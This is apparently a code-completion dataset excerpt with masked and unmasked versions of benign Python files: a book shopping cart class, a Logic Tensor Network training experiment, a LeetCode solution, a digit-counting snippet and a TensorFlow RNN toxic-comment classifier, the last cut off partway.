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|---|---|---|---|---|---|---|---|
9,900 | 58efaad41d02bb5dffbf71c478c7fad12af68e5b | <mask token>
class Cart:
<mask token>
def total_price(self):
ele = 0
for i in self.book_list:
ele += i.book.book_dprice * i.amount
self.total = round(ele, 2)
return self
<mask token>
<mask token>
def del_books(self, book):
print('删除中')
for i in self.book_list:
if i.book == book:
self.book_list.remove(i)
print('删完了', self.book_list)
return self
| <mask token>
class Cart:
def __init__(self):
self.book_list = []
self.total = 0
self.save = 0
def total_price(self):
ele = 0
for i in self.book_list:
ele += i.book.book_dprice * i.amount
self.total = round(ele, 2)
return self
<mask token>
def add_books(self, book, amount):
print('加入中')
for i in self.book_list:
if i.book == book:
i.amount += int(amount)
return self
self.book_list.append(CartItem(book, int(amount)))
print('加完了', self.book_list)
return self
def del_books(self, book):
print('删除中')
for i in self.book_list:
if i.book == book:
self.book_list.remove(i)
print('删完了', self.book_list)
return self
| class CartItem:
<mask token>
class Cart:
def __init__(self):
self.book_list = []
self.total = 0
self.save = 0
def total_price(self):
ele = 0
for i in self.book_list:
ele += i.book.book_dprice * i.amount
self.total = round(ele, 2)
return self
def save_money(self):
befor_save = 0
for i in self.book_list:
befor_save += i.book.book_price * i.amount
self.save = round(befor_save - self.total, 2)
print('节省', self.save)
return self
def add_books(self, book, amount):
print('加入中')
for i in self.book_list:
if i.book == book:
i.amount += int(amount)
return self
self.book_list.append(CartItem(book, int(amount)))
print('加完了', self.book_list)
return self
def del_books(self, book):
print('删除中')
for i in self.book_list:
if i.book == book:
self.book_list.remove(i)
print('删完了', self.book_list)
return self
| class CartItem:
def __init__(self, book, amount):
self.book = book
self.amount = int(amount)
class Cart:
def __init__(self):
self.book_list = []
self.total = 0
self.save = 0
def total_price(self):
ele = 0
for i in self.book_list:
ele += i.book.book_dprice * i.amount
self.total = round(ele, 2)
return self
def save_money(self):
befor_save = 0
for i in self.book_list:
befor_save += i.book.book_price * i.amount
self.save = round(befor_save - self.total, 2)
print('节省', self.save)
return self
def add_books(self, book, amount):
print('加入中')
for i in self.book_list:
if i.book == book:
i.amount += int(amount)
return self
self.book_list.append(CartItem(book, int(amount)))
print('加完了', self.book_list)
return self
def del_books(self, book):
print('删除中')
for i in self.book_list:
if i.book == book:
self.book_list.remove(i)
print('删完了', self.book_list)
return self
| # 自定义购物车项类
class CartItem():
def __init__(self, book, amount):
self.book = book
self.amount = int(amount)
# 自定义购物车
class Cart():
def __init__(self):
self.book_list = []
self.total = 0
self.save = 0
def total_price(self):
ele = 0
for i in self.book_list:
ele += i.book.book_dprice*i.amount
self.total = round(ele,2)
return self
def save_money(self):
befor_save = 0
for i in self.book_list:
befor_save += i.book.book_price*i.amount
self.save = round(befor_save - self.total,2)
print("节省",self.save)
return self
# 定义添加购物车
def add_books(self, book, amount):
# 判断图书已经在购物车项列表中
print("加入中")
for i in self.book_list:
if i.book == book:
i.amount += int(amount)
return self
self.book_list.append(CartItem(book, int(amount)))
print("加完了",self.book_list)
return self
def del_books(self, book):
print("删除中")
for i in self.book_list:
if i.book == book:
self.book_list.remove(i)
print("删完了", self.book_list)
return self | [
3,
5,
7,
8,
9
] |
9,901 | 3022cade3bfa36925bcbda8023e5cd98ed33d093 | <mask token>
| <mask token>
if 'DISPLAY' not in os.environ:
matplotlib.use('Agg')
else:
pass
<mask token>
sns.set(style='white', context='talk')
def get_accuracy(model, kb):
results = []
for clause in kb.clauses:
o1, o2 = model.forward(clause)
if o2.data.numpy()[0][0] > 0.9:
results.append(1.0)
else:
results.append(0.0)
return sum(results) / len(kb.clauses)
def test_model(model, kb1, kb2, filename):
kb_train = kb1.union(kb2)
optimizor = torch.optim.Adam(model.parameters(), lr=0.001)
mone = torch.FloatTensor([-1])
one = torch.FloatTensor([1])
average_prob = []
averate_loss = []
best_accuracy1 = 0.0
best_accuracy2 = 0.0
for i in tqdm(range(1000)):
optimizor.zero_grad()
total_probability = 0.0
total_loss = 0.0
for clause in kb_train.clauses:
loss, prob = model.forward(clause=clause)
loss.backward(one)
total_probability += prob.data.numpy()[0]
total_loss += loss.data.numpy()[0]
optimizor.step()
average_prob.append(total_probability / len(kb_train.clauses))
averate_loss.append(total_loss / len(kb_train.clauses))
accuracy1 = get_accuracy(model, kb1)
accuracy2 = get_accuracy(model, kb2)
if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:
best_accuracy1 = accuracy1
best_accuracy2 = accuracy2
pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2
), open('./results/%s' % filename, 'wb'))
<mask token>
for p in propositionals:
gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))
<mask token>
for tkb in gkbs1[1:]:
gkb1 = gkb1.union(tkb)
<mask token>
for p in propositionals:
gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))
<mask token>
for tkb in gkbs2[1:]:
gkb2 = gkb2.union(tkb)
<mask token>
for p in propositionals:
gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))
<mask token>
for tkb in gkbs3[1:]:
gkb3 = gkb3.union(tkb)
<mask token>
for p in propositionals:
gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))
<mask token>
for tkb in gkbs4[1:]:
gkb4 = gkb4.union(tkb)
<mask token>
for emb_dim in emb_dim_range:
test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [
'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),
filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)
<mask token>
for emb_dim in emb_dim_range:
prob, loss, first, second = pickle.load(open(
'./results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))
accuracys1.append(first)
accuracys2.append(second)
plt.plot(emb_dim_range, accuracys1, label='Group1')
plt.plot(emb_dim_range, accuracys2, label='Group2')
plt.legend()
plt.xlabel('Vector Length')
plt.ylabel('Accuracy')
plt.savefig('./Report/img/curve4.pdf')
plt.show()
| <mask token>
if 'DISPLAY' not in os.environ:
matplotlib.use('Agg')
else:
pass
<mask token>
sns.set(style='white', context='talk')
def get_accuracy(model, kb):
results = []
for clause in kb.clauses:
o1, o2 = model.forward(clause)
if o2.data.numpy()[0][0] > 0.9:
results.append(1.0)
else:
results.append(0.0)
return sum(results) / len(kb.clauses)
def test_model(model, kb1, kb2, filename):
kb_train = kb1.union(kb2)
optimizor = torch.optim.Adam(model.parameters(), lr=0.001)
mone = torch.FloatTensor([-1])
one = torch.FloatTensor([1])
average_prob = []
averate_loss = []
best_accuracy1 = 0.0
best_accuracy2 = 0.0
for i in tqdm(range(1000)):
optimizor.zero_grad()
total_probability = 0.0
total_loss = 0.0
for clause in kb_train.clauses:
loss, prob = model.forward(clause=clause)
loss.backward(one)
total_probability += prob.data.numpy()[0]
total_loss += loss.data.numpy()[0]
optimizor.step()
average_prob.append(total_probability / len(kb_train.clauses))
averate_loss.append(total_loss / len(kb_train.clauses))
accuracy1 = get_accuracy(model, kb1)
accuracy2 = get_accuracy(model, kb2)
if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:
best_accuracy1 = accuracy1
best_accuracy2 = accuracy2
pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2
), open('./results/%s' % filename, 'wb'))
kb1 = load_knowledge_base('./facts1.txt')
kb2 = load_knowledge_base('./facts2.txt')
propositionals = load_propositional('./knowledge.txt')
gkbs1 = []
for p in propositionals:
gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))
gkb1 = gkbs1[0]
for tkb in gkbs1[1:]:
gkb1 = gkb1.union(tkb)
gkbs2 = []
for p in propositionals:
gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))
gkb2 = gkbs2[0]
for tkb in gkbs2[1:]:
gkb2 = gkb2.union(tkb)
gkbs3 = []
for p in propositionals:
gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))
gkb3 = gkbs3[0]
for tkb in gkbs3[1:]:
gkb3 = gkb3.union(tkb)
gkbs4 = []
for p in propositionals:
gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))
gkb4 = gkbs4[0]
for tkb in gkbs4[1:]:
gkb4 = gkb4.union(tkb)
emb_dim = 50
emb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20))
emb_dim_range = list(range(160, 161, 20))
for emb_dim in emb_dim_range:
test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [
'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),
filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)
accuracys1 = []
accuracys2 = []
for emb_dim in emb_dim_range:
prob, loss, first, second = pickle.load(open(
'./results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))
accuracys1.append(first)
accuracys2.append(second)
plt.plot(emb_dim_range, accuracys1, label='Group1')
plt.plot(emb_dim_range, accuracys2, label='Group2')
plt.legend()
plt.xlabel('Vector Length')
plt.ylabel('Accuracy')
plt.savefig('./Report/img/curve4.pdf')
plt.show()
| import matplotlib
import os
if 'DISPLAY' not in os.environ:
matplotlib.use('Agg')
else:
pass
import torch
import torch.nn as nn
from torch.autograd import Variable
import torch.optim as optim
from matplotlib import pyplot as plt
import seaborn as sns
from tqdm import tqdm
import copy
from utils import Predicate, Clause, KnowledgeBase, Propositional
from utils import load_knowledge_base, load_propositional
from models import LTN
import pickle
import numpy as np
import seaborn as sns
sns.set(style='white', context='talk')
def get_accuracy(model, kb):
results = []
for clause in kb.clauses:
o1, o2 = model.forward(clause)
if o2.data.numpy()[0][0] > 0.9:
results.append(1.0)
else:
results.append(0.0)
return sum(results) / len(kb.clauses)
def test_model(model, kb1, kb2, filename):
kb_train = kb1.union(kb2)
optimizor = torch.optim.Adam(model.parameters(), lr=0.001)
mone = torch.FloatTensor([-1])
one = torch.FloatTensor([1])
average_prob = []
averate_loss = []
best_accuracy1 = 0.0
best_accuracy2 = 0.0
for i in tqdm(range(1000)):
optimizor.zero_grad()
total_probability = 0.0
total_loss = 0.0
for clause in kb_train.clauses:
loss, prob = model.forward(clause=clause)
loss.backward(one)
total_probability += prob.data.numpy()[0]
total_loss += loss.data.numpy()[0]
optimizor.step()
average_prob.append(total_probability / len(kb_train.clauses))
averate_loss.append(total_loss / len(kb_train.clauses))
accuracy1 = get_accuracy(model, kb1)
accuracy2 = get_accuracy(model, kb2)
if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:
best_accuracy1 = accuracy1
best_accuracy2 = accuracy2
pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2
), open('./results/%s' % filename, 'wb'))
kb1 = load_knowledge_base('./facts1.txt')
kb2 = load_knowledge_base('./facts2.txt')
propositionals = load_propositional('./knowledge.txt')
gkbs1 = []
for p in propositionals:
gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))
gkb1 = gkbs1[0]
for tkb in gkbs1[1:]:
gkb1 = gkb1.union(tkb)
gkbs2 = []
for p in propositionals:
gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))
gkb2 = gkbs2[0]
for tkb in gkbs2[1:]:
gkb2 = gkb2.union(tkb)
gkbs3 = []
for p in propositionals:
gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))
gkb3 = gkbs3[0]
for tkb in gkbs3[1:]:
gkb3 = gkb3.union(tkb)
gkbs4 = []
for p in propositionals:
gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))
gkb4 = gkbs4[0]
for tkb in gkbs4[1:]:
gkb4 = gkb4.union(tkb)
emb_dim = 50
emb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20))
emb_dim_range = list(range(160, 161, 20))
for emb_dim in emb_dim_range:
test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [
'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),
filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)
accuracys1 = []
accuracys2 = []
for emb_dim in emb_dim_range:
prob, loss, first, second = pickle.load(open(
'./results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))
accuracys1.append(first)
accuracys2.append(second)
plt.plot(emb_dim_range, accuracys1, label='Group1')
plt.plot(emb_dim_range, accuracys2, label='Group2')
plt.legend()
plt.xlabel('Vector Length')
plt.ylabel('Accuracy')
plt.savefig('./Report/img/curve4.pdf')
plt.show()
|
# coding: utf-8
# In[1]:
#coding:utf8
import matplotlib
import os
if 'DISPLAY' not in os.environ:
matplotlib.use('Agg')
else:
pass
import torch
import torch.nn as nn
from torch.autograd import Variable
import torch.optim as optim
from matplotlib import pyplot as plt
import seaborn as sns
from tqdm import tqdm
import copy
from utils import Predicate,Clause,KnowledgeBase, Propositional
from utils import load_knowledge_base,load_propositional
from models import LTN
import pickle
import numpy as np
import seaborn as sns
sns.set(style="white", context="talk")
# In[2]:
def get_accuracy(model,kb):
results=[]
for clause in kb.clauses:
o1,o2=model.forward(clause)
if o2.data.numpy()[0][0]>0.9:
results.append(1.0)
else:
results.append(0.0)
return sum(results)/len(kb.clauses)
# In[3]:
def test_model(model,kb1, kb2,filename):
kb_train=kb1.union(kb2)
optimizor=torch.optim.Adam(model.parameters(),lr=0.001)
mone=torch.FloatTensor([-1])
one=torch.FloatTensor([1])
average_prob=[]
averate_loss=[]
best_accuracy1=0.0
best_accuracy2=0.0
for i in tqdm(range(1000)):
optimizor.zero_grad()
total_probability=0.0
total_loss=0.0
for clause in kb_train.clauses:
loss,prob=model.forward(clause=clause)
loss.backward(one)
total_probability+=prob.data.numpy()[0]
total_loss+=loss.data.numpy()[0]
optimizor.step()
average_prob.append(total_probability/len(kb_train.clauses))
averate_loss.append(total_loss/len(kb_train.clauses))
accuracy1=get_accuracy(model,kb1)
accuracy2=get_accuracy(model,kb2)
if accuracy1+accuracy2>best_accuracy1+best_accuracy2:
best_accuracy1=accuracy1
best_accuracy2=accuracy2
pickle.dump((average_prob,averate_loss,best_accuracy1,best_accuracy2), open("./results/%s"%filename, "wb" ))
# In[4]:
kb1=load_knowledge_base('./facts1.txt')
kb2=load_knowledge_base('./facts2.txt')
propositionals=load_propositional('./knowledge.txt')
gkbs1=[]
for p in propositionals:
gkbs1.append(p.generate_knowledge_base('abcdefgh',change_weight=False))
gkb1=gkbs1[0]
for tkb in gkbs1[1:]:
gkb1=gkb1.union(tkb)
gkbs2=[]
for p in propositionals:
gkbs2.append(p.generate_knowledge_base('ijklmn',change_weight=False))
gkb2=gkbs2[0]
for tkb in gkbs2[1:]:
gkb2=gkb2.union(tkb)
gkbs3=[]
for p in propositionals:
gkbs3.append(p.generate_knowledge_base('abcdefgh',change_weight=True))
gkb3=gkbs3[0]
for tkb in gkbs3[1:]:
gkb3=gkb3.union(tkb)
gkbs4=[]
for p in propositionals:
gkbs4.append(p.generate_knowledge_base('ijklmn',change_weight=True))
gkb4=gkbs4[0]
for tkb in gkbs4[1:]:
gkb4=gkb4.union(tkb)
# In[5]:
emb_dim=50
# In[6]:
emb_dim_range=list(range(10,20,5))+list(range(20,101,20))
emb_dim_range=list(range(160,161,20))
# In[ ]:
for emb_dim in emb_dim_range:
test_model(
model=LTN(emb_dim,'abcdefghijklmn',[['S',1],['F',2],['C',1]], CLTN=True),
kb1=kb1.union(gkb3),
kb2=kb2.union(gkb4),
filename='LTN_Learn_emb_dim=%d.pkl'%(emb_dim)
)
# In[80]:
accuracys1=[]
accuracys2=[]
for emb_dim in emb_dim_range:
prob,loss,first,second=pickle.load(open('./results/LTN_Learn_emb_dim=%d.pkl'%(emb_dim),'rb'))
accuracys1.append(first)
accuracys2.append(second)
plt.plot(emb_dim_range,accuracys1,label='Group1')
plt.plot(emb_dim_range,accuracys2,label='Group2')
plt.legend()
plt.xlabel('Vector Length')
plt.ylabel('Accuracy')
plt.savefig('./Report/img/curve4.pdf')
plt.show()
| [
0,
3,
4,
5,
6
] |
9,902 | 148b849ae43617dde8dbb0c949defa2f390ce5cd | <mask token>
| class Solution(object):
<mask token>
| class Solution(object):
def oddCells(self, m, n, indices):
"""
:type m: int
:type n: int
:type indices: List[List[int]]
:rtype: int
"""
indice_x_dict = {}
indice_y_dict = {}
for x, y in indices:
indice_x_dict[x] = indice_x_dict.get(x, 0) + 1
indice_y_dict[y] = indice_y_dict.get(y, 0) + 1
x_num = 0
y_num = 0
for key, item in indice_x_dict.items():
if item % 2 == 1:
x_num += 1
for key, item in indice_y_dict.items():
if item % 2 == 1:
y_num += 1
return x_num * n + y_num * m - x_num * y_num * 2
| class Solution(object):
def oddCells(self, m, n, indices):
"""
:type m: int
:type n: int
:type indices: List[List[int]]
:rtype: int
"""
indice_x_dict = {}
indice_y_dict = {}
for x, y in indices:
indice_x_dict[x] = indice_x_dict.get(x, 0) + 1
indice_y_dict[y] = indice_y_dict.get(y, 0) + 1
x_num = 0
y_num = 0
for key, item in indice_x_dict.items():
if item % 2 == 1:
x_num += 1
for key, item in indice_y_dict.items():
if item % 2 == 1:
y_num += 1
return x_num * n + y_num * m - x_num * y_num * 2
| null | [
0,
1,
2,
3
] |
9,903 | dabd835ff02f2adb01773fb7dd7099206cbae162 | <mask token>
| <mask token>
for i in range(1000):
l = str(i).zfill(3)
k = 0
for j in range(N):
if S[j] == l[k]:
k += 1
if k == 3:
ans += 1
break
print(ans)
| N = int(input())
S = input()
ans = 0
for i in range(1000):
l = str(i).zfill(3)
k = 0
for j in range(N):
if S[j] == l[k]:
k += 1
if k == 3:
ans += 1
break
print(ans)
| N=int(input())
S=input()
ans=0
for i in range(1000):
l=str(i).zfill(3);k=0
for j in range(N):
if S[j]==l[k]:
k+=1
if k==3:ans+=1;break
print(ans)
| null | [
0,
1,
2,
3
] |
9,904 | aa1a7de92b971b6d10d09b2f8ca2c55516e538e4 | <mask token>
| <mask token>
tf.flags.DEFINE_integer('embedding_dim', 100,
'Dimensionality of character embedding (default: 100)')
tf.flags.DEFINE_float('dropout_keep_prob', 0.5,
'Dropout keep probability (default: 0.5)')
tf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')
tf.flags.DEFINE_integer('num_epochs', 100,
'Number of training epochs (default: 200)')
tf.flags.DEFINE_integer('evaluate_every', 500,
'Evaluate model on dev set after this many steps (default: 100)')
tf.flags.DEFINE_integer('checkpoint_every', 500,
'Save model after this many steps (default: 100)')
tf.flags.DEFINE_integer('num_checkpoints', 3,
'Number of checkpoints to store (default: 5)')
tf.flags.DEFINE_boolean('allow_soft_placement', True,
'Allow device soft device placement')
tf.flags.DEFINE_boolean('log_device_placement', False,
'Log placement of ops on devices')
print("""
Loading train data...""")
<mask token>
print('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.
shape))
print(x_train[0], y_train[0])
print("""
Loading dev data...""")
<mask token>
print('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))
print(x_dev[-1], y_dev[-1])
<mask token>
print('x length:{0}'.format(len(x)))
<mask token>
print('Shape of word-id matrix: {0}'.format(x.shape))
<mask token>
print('Shape of x_train matrix: {0}'.format(x_train.shape))
<mask token>
print('Shape of x_dev matrix: {0}'.format(x_dev.shape))
np.random.seed(10)
<mask token>
del x
<mask token>
print('Vocabulary Size: {:d}'.format(vocabsize))
with tf.Graph().as_default():
session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.
allow_soft_placement, log_device_placement=FLAGS.log_device_placement)
sess = tf.Session(config=session_conf)
with sess.as_default():
rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train
.shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim
)
global_step = tf.Variable(0, name='global_step', trainable=False)
optimizer = tf.train.AdamOptimizer(0.001)
grads_and_vars = optimizer.compute_gradients(rnn.loss)
train_op = optimizer.apply_gradients(grads_and_vars, global_step=
global_step)
grad_summaries = []
for g, v in grads_and_vars:
if g is not None:
grad_hist_summary = tf.summary.histogram('{}/grad/hist'.
format(v.name), g)
sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.
format(v.name), tf.nn.zero_fraction(g))
grad_summaries.append(grad_hist_summary)
grad_summaries.append(sparsity_summary)
grad_summaries_merged = tf.summary.merge(grad_summaries)
out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))
print('Writing to {}\n'.format(out_dir))
loss_summary = tf.summary.scalar('loss', rnn.loss)
acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)
train_summary_op = tf.summary.merge([loss_summary, acc_summary,
grad_summaries_merged])
train_summary_dir = os.path.join(out_dir, 'summaries', 'train')
train_summary_writer = tf.summary.FileWriter(train_summary_dir,
sess.graph)
dev_summary_op = tf.summary.merge([loss_summary, acc_summary])
dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')
dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)
checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))
checkpoint_prefix = os.path.join(checkpoint_dir, 'model')
if not os.path.exists(checkpoint_dir):
os.makedirs(checkpoint_dir)
saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.
num_checkpoints)
vocab_processor.save(os.path.join(out_dir, 'vocab'))
sess.run(tf.global_variables_initializer())
vocabulary = vocab_processor.vocabulary_
initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)
sess.run(rnn.W_embed.assign(initEmbeddings))
for v in tf.trainable_variables():
print(v.name)
def train_step(x_batch, y_batch):
"""
A single training step
"""
feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.
dropout_keep_prob: FLAGS.dropout_keep_prob}
_, step, summaries, loss, accuracy = sess.run([train_op,
global_step, train_summary_op, rnn.loss, rnn.accuracy],
feed_dict)
time_str = datetime.datetime.now().isoformat()
train_summary_writer.add_summary(summaries, step)
return loss, accuracy
def dev_step(x_batch, y_batch, writer=None):
"""
Evaluates model on a dev set
"""
feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.
dropout_keep_prob: 1.0}
step, summaries, loss, accuracy = sess.run([global_step,
dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)
time_str = datetime.datetime.now().isoformat()
print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,
loss, accuracy))
if writer:
writer.add_summary(summaries, step)
return accuracy
batches = data_helpers.batch_iter(list(zip(x_train, y_train)),
FLAGS.batch_size, FLAGS.num_epochs)
prev_val_acc = 0
for batch in batches:
x_batch, y_batch = zip(*batch)
train_loss, train_acc = train_step(x_batch, y_batch)
current_step = tf.train.global_step(sess, global_step)
if current_step % FLAGS.evaluate_every == 0:
print('\nTrain loss:{0}, Train accuracy:{1}'.format(
train_loss, train_acc))
print('Evaluation:')
val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)
if val_acc > 0.95 and val_acc > prev_val_acc:
save_path = saver.save(sess, checkpoint_prefix,
global_step=current_step)
print('Model checkpoint saved at {0}, accuracy={1}'.
format(save_path, round(val_acc, 3)))
prev_val_acc = val_acc
print('')
| <mask token>
flags = tf.app.flags
FLAGS = flags.FLAGS
tf.flags.DEFINE_integer('embedding_dim', 100,
'Dimensionality of character embedding (default: 100)')
tf.flags.DEFINE_float('dropout_keep_prob', 0.5,
'Dropout keep probability (default: 0.5)')
tf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')
tf.flags.DEFINE_integer('num_epochs', 100,
'Number of training epochs (default: 200)')
tf.flags.DEFINE_integer('evaluate_every', 500,
'Evaluate model on dev set after this many steps (default: 100)')
tf.flags.DEFINE_integer('checkpoint_every', 500,
'Save model after this many steps (default: 100)')
tf.flags.DEFINE_integer('num_checkpoints', 3,
'Number of checkpoints to store (default: 5)')
tf.flags.DEFINE_boolean('allow_soft_placement', True,
'Allow device soft device placement')
tf.flags.DEFINE_boolean('log_device_placement', False,
'Log placement of ops on devices')
print("""
Loading train data...""")
x_train, y_train = data_helpers.load_splitted_data_and_labels(
'../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')
print('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.
shape))
print(x_train[0], y_train[0])
print("""
Loading dev data...""")
x_dev, y_dev = data_helpers.load_splitted_data_and_labels(
'../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')
print('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))
print(x_dev[-1], y_dev[-1])
x = x_train + x_dev
print('x length:{0}'.format(len(x)))
max_sent_length = 80
vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)
x = np.array(list(vocab_processor.fit_transform(x)))
print('Shape of word-id matrix: {0}'.format(x.shape))
x_train = np.array(list(vocab_processor.transform(x_train)))
print('Shape of x_train matrix: {0}'.format(x_train.shape))
x_dev = np.array(list(vocab_processor.transform(x_dev)))
print('Shape of x_dev matrix: {0}'.format(x_dev.shape))
np.random.seed(10)
shuffle_indices = np.random.permutation(np.arange(len(y_train)))
x_train = x_train[shuffle_indices]
y_train = y_train[shuffle_indices]
del x
vocabsize = len(vocab_processor.vocabulary_)
print('Vocabulary Size: {:d}'.format(vocabsize))
with tf.Graph().as_default():
session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.
allow_soft_placement, log_device_placement=FLAGS.log_device_placement)
sess = tf.Session(config=session_conf)
with sess.as_default():
rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train
.shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim
)
global_step = tf.Variable(0, name='global_step', trainable=False)
optimizer = tf.train.AdamOptimizer(0.001)
grads_and_vars = optimizer.compute_gradients(rnn.loss)
train_op = optimizer.apply_gradients(grads_and_vars, global_step=
global_step)
grad_summaries = []
for g, v in grads_and_vars:
if g is not None:
grad_hist_summary = tf.summary.histogram('{}/grad/hist'.
format(v.name), g)
sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.
format(v.name), tf.nn.zero_fraction(g))
grad_summaries.append(grad_hist_summary)
grad_summaries.append(sparsity_summary)
grad_summaries_merged = tf.summary.merge(grad_summaries)
out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))
print('Writing to {}\n'.format(out_dir))
loss_summary = tf.summary.scalar('loss', rnn.loss)
acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)
train_summary_op = tf.summary.merge([loss_summary, acc_summary,
grad_summaries_merged])
train_summary_dir = os.path.join(out_dir, 'summaries', 'train')
train_summary_writer = tf.summary.FileWriter(train_summary_dir,
sess.graph)
dev_summary_op = tf.summary.merge([loss_summary, acc_summary])
dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')
dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)
checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))
checkpoint_prefix = os.path.join(checkpoint_dir, 'model')
if not os.path.exists(checkpoint_dir):
os.makedirs(checkpoint_dir)
saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.
num_checkpoints)
vocab_processor.save(os.path.join(out_dir, 'vocab'))
sess.run(tf.global_variables_initializer())
vocabulary = vocab_processor.vocabulary_
initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)
sess.run(rnn.W_embed.assign(initEmbeddings))
for v in tf.trainable_variables():
print(v.name)
def train_step(x_batch, y_batch):
"""
A single training step
"""
feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.
dropout_keep_prob: FLAGS.dropout_keep_prob}
_, step, summaries, loss, accuracy = sess.run([train_op,
global_step, train_summary_op, rnn.loss, rnn.accuracy],
feed_dict)
time_str = datetime.datetime.now().isoformat()
train_summary_writer.add_summary(summaries, step)
return loss, accuracy
def dev_step(x_batch, y_batch, writer=None):
"""
Evaluates model on a dev set
"""
feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.
dropout_keep_prob: 1.0}
step, summaries, loss, accuracy = sess.run([global_step,
dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)
time_str = datetime.datetime.now().isoformat()
print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,
loss, accuracy))
if writer:
writer.add_summary(summaries, step)
return accuracy
batches = data_helpers.batch_iter(list(zip(x_train, y_train)),
FLAGS.batch_size, FLAGS.num_epochs)
prev_val_acc = 0
for batch in batches:
x_batch, y_batch = zip(*batch)
train_loss, train_acc = train_step(x_batch, y_batch)
current_step = tf.train.global_step(sess, global_step)
if current_step % FLAGS.evaluate_every == 0:
print('\nTrain loss:{0}, Train accuracy:{1}'.format(
train_loss, train_acc))
print('Evaluation:')
val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)
if val_acc > 0.95 and val_acc > prev_val_acc:
save_path = saver.save(sess, checkpoint_prefix,
global_step=current_step)
print('Model checkpoint saved at {0}, accuracy={1}'.
format(save_path, round(val_acc, 3)))
prev_val_acc = val_acc
print('')
| import tensorflow as tf
import numpy as np
import os
import time
import datetime
import data_helpers
from text_rnn import TextRNN
from tensorflow.contrib import learn
flags = tf.app.flags
FLAGS = flags.FLAGS
tf.flags.DEFINE_integer('embedding_dim', 100,
'Dimensionality of character embedding (default: 100)')
tf.flags.DEFINE_float('dropout_keep_prob', 0.5,
'Dropout keep probability (default: 0.5)')
tf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')
tf.flags.DEFINE_integer('num_epochs', 100,
'Number of training epochs (default: 200)')
tf.flags.DEFINE_integer('evaluate_every', 500,
'Evaluate model on dev set after this many steps (default: 100)')
tf.flags.DEFINE_integer('checkpoint_every', 500,
'Save model after this many steps (default: 100)')
tf.flags.DEFINE_integer('num_checkpoints', 3,
'Number of checkpoints to store (default: 5)')
tf.flags.DEFINE_boolean('allow_soft_placement', True,
'Allow device soft device placement')
